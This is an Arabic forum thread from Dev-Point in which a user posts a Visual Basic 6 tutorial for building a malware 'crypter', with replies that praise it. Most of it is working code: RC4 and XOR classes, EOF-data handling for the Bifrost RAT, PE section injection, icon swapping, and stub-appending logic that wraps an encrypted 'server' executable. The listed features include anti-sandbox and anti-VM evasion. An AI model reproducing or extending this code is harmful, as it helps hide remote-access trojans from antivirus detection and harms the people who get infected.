[ شرح ] إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتركس$

تم تحميل الصفحة في 1,2671643 ثانية
إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتركس$
الحالة
مغلق و غير مفتوح للمزيد من الردود.
إنضم
10 مارس 2011
المشاركات
1,945
الإعجابات
723
النقاط
0





كيفكم يـ‘ـآ أعضـ‘ـآء ألديف بوينت وزوآرة ألكرآم
إن شـ‘ـآء الله بألف صحة وعـآآفية
كـ‘ـل عـآم وأنتم بخير



موضوعنـآ أليوم

صـنع برنـآمج تشفير

طبعآ
أكيد مو متل أى شرح لآى برنـآمج تشفير
إحـ،ـنآ هنـآ فى ألديف نسعى للتطوير
وعشـ‘ـآن عآيزين تطوير

ألبرنـآمج هيكون فيه ألخصـآئص ألتـآلية :

1- ألتشفير طبعـآ أول شى
2- خـآصية
EOF Data
للبيفروست

Change Icon -3
تغير أيقونة ألسيرفر مع ألتشفير
بنفس ألـ دقة ألأيقونة

ألتشفير بألـ -
4
RC4
OXR

ألـ -5
Anti Debugging
وتتضمن :

  • Anti-Anubis

  • Anti-VMWare

  • Anti-JoeBox

  • Anti-SandBox

  • Anti-VirtualBox



:15::15:
:15::15::15:
يعنى رآح نبرمج برنـآمج تشفير
ومعـآك طبعـآ يـآ مستر مـآتركس

فكرت أنا وقولت مش كل مرة أشرح فيهـآ يكون فيديو وأستسهل ألشرح

قولت هـآلمرة نشرح بألصور

  • ليكون أوضح

  • وشرح دقيق بتفضيل كل شى فيه
ويـآرب يعجب ألـ أعضـآء وألزوآر

نبدآ ألشرح

وبإسـم
ألله




أرجو عدم وضع أى رد بعد ألإنتهـآء من ألشرح


 
إنضم
10 مارس 2011
المشاركات
1,945
الإعجابات
723
النقاط
0
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر


نفتح ألـ فيجوآل بيزك



نخـتـآر مشروع جديد



لجعل ألـ كنترولز ألموجودة أعلى ألفورم كمـآ هى
يعنى بألمقـآس ألـ تحددة وزر للغلق وزر للتصغير أسفل شريط ألمهـآم
وعدم قدرة ألـ مستخدم ع ألـ لعب فى مقـآسـآت ألفورم
BorderStyle = Fixied Single
MaxButton = False
MinButton = true

كمـآ تشـ‘ـآهدون فى ألصورة






طبعـآ ألخطوة دى إخـتـيآرية
يعنى هـنـآ نضيف أدوآت جديدة
مجرد شكليـآت
بدل ألأدوآت ألأسـآسية ألموجودة فى
ألـ ToolBox







أيضـآ خطوة إختيـآرية مجرد شكل بردو
وممكن مـآ تضيفو أصلا





هنـآ ألـ أدوآت ألـ قمـنـآ بإضآفتهـآ إلـ ألـ ToolBox



طبعـآ للتسهيل
قمت بتلوين كل أدآه بلون
وتطبيقتهـآ فى ألبرنـآمج بنفس أللون
مثلا أللون ألأخضر
هو ألأزرآر وهى من ألأدوآت ألـ قمنـآ بإضآفتهـآ حديثـآ ع ألأدوآت ألأسـآسية
وهو = ألـ Command Button
ألزر ألـ بتضغط عليه ليسويلك أمر مثلا



هـنـآ قمـنـآ بتسمية ألـ xpCheckBox
من إختيـآر ألـ Caption
بالإسم ألمرآد تسميتة به





إستخدمـنـآ ألـ
Caption
Font
ForeColor

لـ لون وشكل أسـآمى ألأدوآت



سنضيف هـنـآ 2 Class Moudels




أول كلاآس لخـآصية ألتشفير
RC4
وهو


'$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$
'Coded By Mr Matrex
'Just FOr Dev-point
'$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$
Option Explicit
Event Progress(Percent As Long)
Private m_Key As String
Private m_sBox(0 To 255) As Integer
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

Public Sub DecryptByte(ByteArray() As Byte, Optional Key As String)

Call EncryptByte(ByteArray(), Key)

End Sub

Public Function EncryptString(Text As String, Optional Key As String) As String

Dim ByteArray() As Byte

ByteArray() = StrConv(Text, vbFromUnicode)

Call EncryptByte(ByteArray(), Key)

EncryptString = StrConv(ByteArray(), vbUnicode)

End Function

Public Function DecryptString(Text As String, Optional Key As String) As String

Dim ByteArray() As Byte

ByteArray() = StrConv(Text, vbFromUnicode)

Call DecryptByte(ByteArray(), Key)

DecryptString = StrConv(ByteArray(), vbUnicode)

End Function
Public Sub EncryptByte(ByteArray() As Byte, Optional Key As String)

Dim I As Long
Dim j As Long
Dim Temp As Byte
Dim Offset As Long
Dim OrigLen As Long
Dim CipherLen As Long
Dim CurrPercent As Long
Dim NextPercent As Long
Dim sBox(0 To 255) As Integer

If (Len(Key) > 0) Then Me.Key = Key


Call CopyMem(sBox(0), m_sBox(0), 512)

OrigLen = UBound(ByteArray) + 1
CipherLen = OrigLen

For Offset = 0 To (OrigLen - 1)
I = (I + 1) Mod 256
j = (j + sBox(I)) Mod 256
Temp = sBox(I)
sBox(I) = sBox(j)
sBox(j) = Temp
ByteArray(Offset) = ByteArray(Offset) Xor (sBox((sBox(I) + sBox(j)) Mod 256))

If (Offset >= NextPercent) Then
CurrPercent = Int((Offset / CipherLen) * 100)
NextPercent = (CipherLen * ((CurrPercent + 1) / 100)) + 1
RaiseEvent Progress(CurrPercent)
End If
Next

If (CurrPercent <> 100) Then RaiseEvent Progress(100)

End Sub

Public Property Let Key(New_Value As String)

Dim a As Long
Dim b As Long
Dim Temp As Byte
Dim Key() As Byte
Dim KeyLen As Long

If (m_Key = New_Value) Then Exit Property

m_Key = New_Value


Key() = StrConv(m_Key, vbFromUnicode)
KeyLen = Len(m_Key)

For a = 0 To 255
m_sBox(a) = a
Next a
For a = 0 To 255
b = (b + m_sBox(a) + Key(a Mod KeyLen)) Mod 256
Temp = m_sBox(a)
m_sBox(a) = m_sBox(b)
m_sBox(b) = Temp
Next

End Property






ثـآني كلاآس لخـآصية ألتشفير
XOR
وهو

'$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$
'Coded By Mr Matrex
'Just FOr Dev-point
'$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$
Option Explicit
Private m_Key() As Byte
Private m_KeyLen As Long
Private m_KeyValue As String
Event Progress(Percent As Long)
Public Sub DecryptByte(ByteArray() As Byte, Optional Key As String)
Call EncryptByte(ByteArray(), Key)
End Sub
Public Sub EncryptByte(ByteArray() As Byte, Optional Key As String)
Dim Offset As Long
Dim ByteLen As Long
Dim ResultLen As Long
Dim CurrPercent As Long
Dim NextPercent As Long
If (Len(Key) > 0) Then Me.Key = Key
ByteLen = UBound(ByteArray) + 1
ResultLen = ByteLen
For Offset = 0 To (ByteLen - 1)
ByteArray(Offset) = ByteArray(Offset) Xor m_Key(Offset Mod m_KeyLen)
If (Offset >= NextPercent) Then
CurrPercent = Int((Offset / ResultLen) * 100)
NextPercent = (ResultLen * ((CurrPercent + 1) / 100)) + 1
RaiseEvent Progress(CurrPercent)
End If
Next
If (CurrPercent <> 100) Then RaiseEvent Progress(100)
End Sub
Public Function EncryptString(Text As String, Optional Key As String) As String
Dim a As Long
Dim ByteLen As Long
Dim ByteArray() As Byte
ByteArray() = StrConv(Text, vbFromUnicode)
Call EncryptByte(ByteArray(), Key)
EncryptString = StrConv(ByteArray(), vbUnicode)
End Function
Public Function DecryptString(Text As String, Optional Key As String) As String
Dim a As Long
Dim ByteLen As Long
Dim ByteArray() As Byte
ByteArray() = StrConv(Text, vbFromUnicode)
Call DecryptByte(ByteArray(), Key)
DecryptString = StrConv(ByteArray(), vbUnicode)
End Function
Public Property Let Key(New_Value As String)
If (m_KeyValue = New_Value) Then Exit Property
m_KeyValue = New_Value
m_KeyLen = Len(New_Value)
m_Key() = StrConv(m_KeyValue, vbFromUnicode)
End Property





نضيف 4 Modules جديدة




أول موديل

Public Function AddTheData(sData As String, sSectionName As String) As Boolean
Dim dwSettingsRVA As Long, dwSettingsRaw As Long

dwSettingsRaw = AddSection(frmMain.CommonDialog1.FileName, sSectionName, Len(sData), &HC0000040, dwSettingsRVA, True)

If dwSettingsRaw Then
Open frmMain.CommonDialog1.FileName For Binary Access Write As #1
Put #1, dwSettingsRaw + 1, sData
Close #1

AddTheData = True
Else
AddTheData = False
End If
End Function



ثـ‘ـآنى موديل
وألخـآص بألـ EOF

Public Function ReadEOFData(sFilePath As String) As String
On Error GoTo Err:
Dim sFileBuf As String, sEOFBuf As String, sChar As String
Dim lFF As Long, lPos As Long, lPos2 As Long, lCount As Long
If Dir(sFilePath) = "" Then GoTo Err:
lFF = FreeFile
Open sFilePath For Binary As #lFF
sFileBuf = Space(LOF(lFF))
Get #lFF, , sFileBuf
Close #lFF
lPos = InStr(1, StrReverse(sFileBuf), GetNullBytes(30))
sEOFBuf = (Mid(StrReverse(sFileBuf), 1, lPos - 1))
ReadEOFData = StrReverse(sEOFBuf)
If ReadEOFData = "" Then
MsgBox "EOF data was not detected!", vbInformation, "Info"
End If
Exit Function
Err:
ReadEOFData = vbNullString
End Function
Sub WriteEOFData(sFilePath As String, sEOFData As String)
Dim sFileBuf As String
Dim lFF As Long
On Error Resume Next
If Dir(sFilePath) = "" Then Exit Sub
lFF = FreeFile
Open sFilePath For Binary As #lFF
sFileBuf = Space(LOF(lFF))
Get #lFF, , sFileBuf
Close #lFF
Kill sFilePath
lFF = FreeFile
Open sFilePath For Binary As #lFF
Put #lFF, , sFileBuf & sEOFData
Close #lFF
End Sub
Public Function GetNullBytes(lNum) As String
Dim sBuf As String
Dim I As Integer
For I = 1 To lNum
sBuf = sBuf & Chr(0)
Next
GetNullBytes = sBuf
End Function



ثـآلث ورآبع موديل وألخـآصين بـ تغير ألأيقونة


Option Explicit

Private Const OPEN_EXISTING As Long = &H3
Private Const INVALID_HANDLE_VALUE As Long = -1
Private Const GENERIC_READ As Long = &H80000000
Private Const FILE_ATTRIBUTE_NORMAL As Long = &H80
Private Const FILE_BEGIN As Long = &H0
Private Const RT_ICON As Long = &H3
Private Const RT_GROUP_ICON As Long = &HE

Private Type ICONDIRENTRY
bWidth As Byte
bHeight As Byte
bColorCount As Byte
bReserved As Byte
wPlanes As Integer
wBitCount As Integer
dwBytesInRes As Long
dwImageOffset As Long
End Type

Private Type ICONDIR
idReserved As Integer
idType As Integer
idCount As Integer
End Type

Private Type GRPICONDIRENTRY
bWidth As Byte
bHeight As Byte
bColorCount As Byte
bReserved As Byte
wPlanes As Integer
wBitCount As Integer
dwBytesInRes As Long
nID As Integer
End Type

Private Type GRPICONDIR
idReserved As Integer
idType As Integer
idCount As Integer
idEntries() As GRPICONDIRENTRY
End Type

Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function ReadFile Lib "kernel32" (ByVal lFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long
Private Declare Function SetFilePointer Lib "kernel32" (ByVal lFile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function BeginUpdateResource Lib "kernel32" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long
Private Declare Function UpdateResource Lib "kernel32" Alias "UpdateResourceA" (ByVal lUpdate As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function EndUpdateResource Lib "kernel32" Alias "EndUpdateResourceA" (ByVal lUpdate As Long, ByVal fDiscard As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

Public Function ChangeIcon(ByVal strExePath As String, ByVal strIcoPath As String) As Boolean
Dim lFile As Long
Dim lUpdate As Long
Dim lRet As Long
Dim I As Integer
Dim tICONDIR As ICONDIR
Dim tGRPICONDIR As GRPICONDIR
Dim tICONDIRENTRY() As ICONDIRENTRY

Dim bIconData() As Byte
Dim bGroupIconData() As Byte

lFile = CreateFile(strIcoPath, GENERIC_READ, 0, ByVal 0&, OPEN_EXISTING, 0, ByVal 0&)

If lFile = INVALID_HANDLE_VALUE Then
ChangeIcon = False
CloseHandle (lFile)
Exit Function
End If

Call ReadFile(lFile, tICONDIR, Len(tICONDIR), lRet, ByVal 0&)

ReDim tICONDIRENTRY(tICONDIR.idCount - 1)

For I = 0 To tICONDIR.idCount - 1
Call ReadFile(lFile, tICONDIRENTRY(I), Len(tICONDIRENTRY(I)), lRet, ByVal 0&)
Next I

ReDim tGRPICONDIR.idEntries(tICONDIR.idCount - 1)

tGRPICONDIR.idReserved = tICONDIR.idReserved
tGRPICONDIR.idType = tICONDIR.idType
tGRPICONDIR.idCount = tICONDIR.idCount

For I = 0 To tGRPICONDIR.idCount - 1
tGRPICONDIR.idEntries(I).bWidth = tICONDIRENTRY(I).bWidth
tGRPICONDIR.idEntries(I).bHeight = tICONDIRENTRY(I).bHeight
tGRPICONDIR.idEntries(I).bColorCount = tICONDIRENTRY(I).bColorCount
tGRPICONDIR.idEntries(I).bReserved = tICONDIRENTRY(I).bReserved
tGRPICONDIR.idEntries(I).wPlanes = tICONDIRENTRY(I).wPlanes
tGRPICONDIR.idEntries(I).wBitCount = tICONDIRENTRY(I).wBitCount
tGRPICONDIR.idEntries(I).dwBytesInRes = tICONDIRENTRY(I).dwBytesInRes
tGRPICONDIR.idEntries(I).nID = I + 1
Next I

lUpdate = BeginUpdateResource(strExePath, False)
For I = 0 To tICONDIR.idCount - 1
ReDim bIconData(tICONDIRENTRY(I).dwBytesInRes)
SetFilePointer lFile, tICONDIRENTRY(I).dwImageOffset, ByVal 0&, FILE_BEGIN
Call ReadFile(lFile, bIconData(0), tICONDIRENTRY(I).dwBytesInRes, lRet, ByVal 0&)

If UpdateResource(lUpdate, RT_ICON, tGRPICONDIR.idEntries(I).nID, 0, bIconData(0), tICONDIRENTRY(I).dwBytesInRes) = False Then
ChangeIcon = False
CloseHandle (lFile)
Exit Function
End If

Next I

ReDim bGroupIconData(6 + 14 * tGRPICONDIR.idCount)
CopyMemory ByVal VarPtr(bGroupIconData(0)), ByVal VarPtr(tICONDIR), 6

For I = 0 To tGRPICONDIR.idCount - 1
CopyMemory ByVal VarPtr(bGroupIconData(6 + 14 * I)), ByVal VarPtr(tGRPICONDIR.idEntries(I).bWidth), 14&
Next

If UpdateResource(lUpdate, RT_GROUP_ICON, 1, 0, ByVal VarPtr(bGroupIconData(0)), UBound(bGroupIconData)) = False Then
ChangeIcon = False
CloseHandle (lFile)
Exit Function
End If

If EndUpdateResource(lUpdate, False) = False Then
ChangeIcon = False
CloseHandle (lFile)
End If

Call CloseHandle(lFile)
ChangeIcon = True
End Function
Public Function ExtractIcon(ByVal strExePath As String, ByVal strIcoPath As String) As Boolean

End Function






Option Explicit


Const IMAGE_DOS_SIGNATURE As Integer = &H5A4D
Const IMAGE_NT_SIGNATURE As Long = &H4550


Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_onvo As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type


Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDataStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type


Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
isize As Long
End Type


Private Type IMAGE_OPTIONAL_HEADER32
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitalizedData As Long
SizeOfUninitalizedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVer As Integer
MinorOperatingSystemVer As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
Reserved1 As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaerFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(1 To 16) As IMAGE_DATA_DIRECTORY
End Type


Private Type IMAGE_SECTION_HEADER
Name As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type


Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER32
End Type

Private Function Align(ByVal dwValue As Long, ByVal dwAlign As Long) As Long

If dwAlign <> 0 Then
If dwValue Mod dwAlign <> 0 Then
Align = (dwValue + dwAlign) - (dwValue Mod dwAlign)
Exit Function
End If
End If

Align = dwValue
End Function

Private Function LastSectionRaw(Sections() As IMAGE_SECTION_HEADER) As Long
Dim I As Integer
Dim ret As Long

For I = LBound(Sections) To UBound(Sections)

If Sections(I).SizeOfRawData + Sections(I).PointerToRawData > ret Then
ret = Sections(I).SizeOfRawData + Sections(I).PointerToRawData
End If

Next I

LastSectionRaw = ret
End Function

Private Function LastSectionVirtual(Sections() As IMAGE_SECTION_HEADER) As Long
Dim I As Integer
Dim ret As Long

For I = LBound(Sections) To UBound(Sections)

If Sections(I).VirtualSize + Sections(I).VirtualAddress > ret Then
ret = Sections(I).VirtualSize + Sections(I).VirtualAddress
End If

Next I

LastSectionVirtual = ret
End Function

Public Function AddSection(ByVal szFile As String, ByVal NewSectionName As String, _
ByVal NewSectionSize As Long, ByVal NewSectionCharacteristics As Long, _
ByRef dwNewSectionRVA As Long, ByVal FailIfExists As Boolean) As Long
Dim hFile As Long, hMap As Long, lpMap As Long, X As Long
Dim I As Integer, k As Integer, FF As Integer

Dim DOSHeader As IMAGE_DOS_HEADER
Dim NTHeader As IMAGE_NT_HEADERS
Dim SectionHeader() As IMAGE_SECTION_HEADER

If Len(NewSectionName) < 1 Then Exit Function
If Len(NewSectionName) > 8 Then
NewSectionName = Left$(NewSectionName, 8)
Else
NewSectionName = NewSectionName & String(8 - Len(NewSectionName), Chr$(0))
End If

FF = FreeFile
Open szFile For Binary As #FF

Get #FF, , DOSHeader
If DOSHeader.e_magic = IMAGE_DOS_SIGNATURE Then

Get #FF, 1 + DOSHeader.e_lfanew, NTHeader

If NTHeader.Signature = IMAGE_NT_SIGNATURE Then

ReDim SectionHeader(0 To NTHeader.FileHeader.NumberOfSections - 1) As IMAGE_SECTION_HEADER

k = NTHeader.FileHeader.NumberOfSections - 1
X = DOSHeader.e_lfanew + 24 + NTHeader.FileHeader.SizeOfOptionalHeader

For I = LBound(SectionHeader) To UBound(SectionHeader)
Get #FF, 1 + X, SectionHeader(I)

If SectionHeader(I).Name = NewSectionName And FailIfExists = True Then Exit Function

X = X + Len(SectionHeader(I))
Next I

If NTHeader.OptionalHeader.SizeOfHeaders >= X + Len(SectionHeader(0)) Then

NTHeader.FileHeader.NumberOfSections = NTHeader.FileHeader.NumberOfSections + 1
ReDim Preserve SectionHeader(0 To NTHeader.FileHeader.NumberOfSections - 1) As IMAGE_SECTION_HEADER

With SectionHeader(NTHeader.FileHeader.NumberOfSections - 1)
.Name = NewSectionName

.characteristics = NewSectionCharacteristics

.PointerToRawData = Align(LastSectionRaw(SectionHeader), NTHeader.OptionalHeader.FileAlignment)
.SizeOfRawData = Align(NewSectionSize, NTHeader.OptionalHeader.FileAlignment)

.VirtualAddress = Align(LastSectionVirtual(SectionHeader), NTHeader.OptionalHeader.SectionAlignment)
.VirtualSize = NewSectionSize
End With


NTHeader.OptionalHeader.DataDirectory(12).VirtualAddress = 0
NTHeader.OptionalHeader.DataDirectory(12).isize = 0

NTHeader.OptionalHeader.SizeOfImage = NTHeader.OptionalHeader.SizeOfImage + SectionHeader(k + 1).VirtualSize

Put #FF, 1 + DOSHeader.e_lfanew, NTHeader
Put #FF, 1 + X, SectionHeader(k + 1)

Put #FF, SectionHeader(k + 1).PointerToRawData + SectionHeader(k + 1).SizeOfRawData, Chr$(0)
AddSection = SectionHeader(k + 1).PointerToRawData
End If
End If
End If

Close #FF

End Function







أرجو عدم وضع أى رد بعد ألإنتهـآء من ألشرح


 
إنضم
10 مارس 2011
المشاركات
1,945
الإعجابات
723
النقاط
0
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر



عدنـآ معكم يـآ أحبـآئى من جديد ونكمل آخر جزآ من ألشرح



نضيف أدآه ألـ
CommonDialog



ضغطتين عَ زر ألإستعرآض
لتفتح نـآفدة إدخـآل ألكود



وليكون ألكود هو ...


With CommonDialog1
.DialogTitle = "Select The Exe File You Want To Incribt..."
.Filter = "EXE Files |*.exe"
.ShowOpen
End With
If Not CommonDialog1.FileName = vbNullString Then
text1.Text = CommonDialog1.FileName
End If
Prb.Value = Prb.Value + 10



ملحوظة :
Prb.value
هى قيمة ألـ ProgressBar
لومـآ بتريد اصلا ألـ بروجريس بـآر ممكن تحدفة نهـآئيـآ



ضغطتين عَ زر ألـ Rnd
لتقوم بكـتـآبة ألكود ألخـآص به وهو زر ألـ Key
ألخـآص بخوآص ألتشفير
RC4,XOR

و Text2
هو ألـ تكست ألخـآص بإظهـآر ألـ Key



مثل قـ‘ـآعدة حسـآبية وهو نفس فكرة
لصنع برنـآمج ينتج أرقـآم وحروف عشوآئية
بـآسوردآت مثلا

فى ألزر دآت نفسة

text2.Text = sRnd
Prb.Value = Prb.Value + 5



فى ألـ جينيرآل

Const a = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
Const b = "abcdefghijklmnopqrstuvwxyz"
Const C = "1234567890"

Public Function sRnd()
Dim zeichen As String
Dim I As Integer
zeichen = a + b + C
For I = 1 To 50
sRnd = sRnd & Mid$(zeichen, Int((Rnd * Len(zeichen)) + 1), 1)
Next I
End Function







سوآل: ليه ضفنـآ CheckBox بإسم Change Icon
هيكون فيه زى قفل وفتح
يعنى لو علمت عليه زر تغيير ألأيقونة يشتغل
لو مش متعلم عليه
زر تغير ألأيقونة مش هيشتغل

سوآل تـآنى
وش هو ألـ مربع ألـ بجوآر ألأدوآت هـآدى
دة PictureBox
عطيـنـآ ألـ BackColor ليه أللون ألإسود مثل ألفورم
وسنضع له كود
عند إختيـآر ألأيقونة
تآتى صورة ألأيقونة فى ألـ PictureBox




ودة ألـكود ألخـآص بييه

فى زر تغير ألأيقونة

With CommonDialog1
.DialogTitle = "Choose Your Icon..."
.Filter = "Icons (*.ico)|*.ico"
.ShowOpen
End With
Text3.Text = CommonDialog1.FileName
Picture2.Picture = LoadPicture(CommonDialog1.FileName)
Prb.Value = Prb.Value + 10



فى ألـ CheckBox

قـآعدة If
لو حدث " حدث معين " إفعل كدآ
أى شى آخر
إلغى ألحدث تمـآمـآ


If xpCheck7.value = Checked Then
xpButton4.Enabled = True
Else
xpButton4.Enabled = False
End If



فى ألفورم نفسة
ضغطتين على أى مكـآن فـآضى بألفورم

ونكتب

xpButton4.Enabled = False



ليكون ألزر غير مفعل عند تشغيل ألبرنـآمج








زر ألتشفـــير

Dim Stub As String
If text1.Text = vbNullString Then
MsgBox "Select Your Server Frist..!", vbInformation, "Mr Matrex Cypter"
Exit Sub
End If

With CommonDialog1

.DialogTitle = "Select Where you want to Save Crypted File"
.Filter = "Aplicaions EXE|*.exe"
.ShowSave

End With

Open App.Path & "\" & "Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1



Dim EOF As String
If Check6.Value = 1 Then EOF = ReadEOFData(text1.Text)

Dim Bin As String

Open text1.Text For Binary As #1
Bin = Space(LOF(1))
Get #1, , Bin
Close #1

Dim RC4 As New clsRC4, xXor As New clsXOR
Dim Encriptacion As String

If Option1.Value = True Then
Bin = RC4.EncryptString(Bin, text2.Text)
Encriptacion = "RC4"
End If

If Option2.Value = True Then
Bin = xXor.EncryptString(Bin, text2.Text)
Encriptacion = "XOR"
End If

Dim Datos As String

Datos = Stub & "[W]HITE" & Bin & "[W]HITE" & Encriptacion & "[W]HITE" & text2.Text & "[W]HITE"

Dim DAtos2 As String

DAtos2 = Check1.Value & "GraciasDARK_J4V13R" & Check3.Value & "GraciasDARK_J4V13R" & Check2.Value & "GraciasDARK_J4V13R" & Check5.Value & "GraciasDARK_J4V13R"

Open CommonDialog1.FileName For Binary As #1
Put #1, , Datos & "GraciasDARK_J4V13R"
Put #1, , DAtos2
Close #1

If AddTheData(DAtos2, sSectionName) Then
If Check7.Value = vbChecked Then
If Text3.Text <> "Select an icon..." And Text3.Text <> "" Then
If ChangeIcon(CommonDialog1.FileName, Text3.Text) Then
End If
End If
End If


If Check6.Value = 1 Then Call WriteEOFData(CommonDialog1.FileName, EOF)
End If

MsgBox "Succesfully Crypted", vbInformation, Me.Caption

Prb.Value = Prb.Value + 100





نضيف إلى ألجينيرآل هـآد ألكود
وهو من ألثوآبت




حقوق ألبرنـآمج من هنـآ
.
.
.







نحفظ ألبرنـآمج بصيغة exe







جميع ألحقوق محفوطة
.ılı.ĵưŠŧ●Ƀέ●мя●мăƬяěx.ılı.
إلى منتدى ألـ ديف بوينت
Dev-Point




إهــدآآء إلـي
كـل مبدع رآيتة فـ عـ‘ـآلم ألديف ألـ عظيم
ألمحبوب إلـ قلبي كثيرآ

يعلم الله كم تعبت فـ وضع هـآد ألموضوع لكم
.....

إهـدآء ـخـآص إليـﮯ

Glaidator
Hak Master
Dr.AdeeB
AntiVirus7
ألوليد
Mr.MG
Roka
Sasa No Love
CAT MAN
Eslam.general
Dr.MOT
Hakar avsan
Al-3aNeeeeeD
Mr.Saqer
px2
أأبو حمــآآمة

Rafah
X-pro
ValY
Jaheem hacker
Asmar-ri
Its Soul
Mr-GhoSt


وآعتـﺫر إﺫآ غفوت ونـسيـت أحدآً


إدآ رآيتم إنى قد تعبت فى ألشرح
قيمونى إدا مـآ أمكن
تكفينى دعوة صـآلحة
كـآن معكم
محبكم وأخـيكم
lı.мямăƬяěxlı.
 
إنضم
10 مارس 2011
المشاركات
6,224
الإعجابات
1,913
النقاط
113
العمر
10
الإقامة
أ‌أ،أ“أکأ­أ¤ أ‡أ،أ£أچأٹأ،أ‰
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر

:9::9::9::9::9::9:

يعطيك الف عافية

طبعا شرح ممتاز ما في علىه كلام

احلى تقيم لاحلى شرح +خمس نجوم بادن الله

تساهل

ان شاء الله الكل يصنع برنامجه التشفير بنفسوا


مشكور

تحياتي لك :29:

:6:
 
إنضم
29 أغسطس 2010
المشاركات
7,525
الإعجابات
6,876
النقاط
113
العمر
100
الإقامة
الرياض
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر

  • ماشاء الله عليك تغيب وتجينا بجديد وابداع
  • افضل شرح برنامج تشفير برأيي
  • شامل وكأأآأمل والكمال لله طبعا
  • التقيييم اكيد لك وللموضوووع فايف على فايف
  • :29::29::29::29:

يجب أن تضع للبعض سمعات قبل إعطائها إلى mr-matrex مرة أخرى.
 

ProVirus

Beginner Developer
rankrank
إنضم
28 يوليو 2011
المشاركات
158
الإعجابات
33
النقاط
28
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر

موضوع تــــــــــــــــــــــوب tooooooooooooooop
 
إنضم
10 مارس 2011
المشاركات
1,945
الإعجابات
723
النقاط
0
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر

لتحميل أدوآت ألشرح
ألـ تكستـآت وألأكوآد
وألأيقونة
وآدآه ألـ EvilProgressBar

تفضلو...



 
إنضم
2 أغسطس 2011
المشاركات
292
الإعجابات
12
النقاط
0
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر

مبببببببببببببببببدع
 
إنضم
10 مارس 2011
المشاركات
1,945
الإعجابات
723
النقاط
0
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر

:9::9::9::9::9::9:

يعطيك الف عافية

طبعا شرح ممتاز ما في علىه كلام

احلى تقيم لاحلى شرح +خمس نجوم بادن الله

تساهل

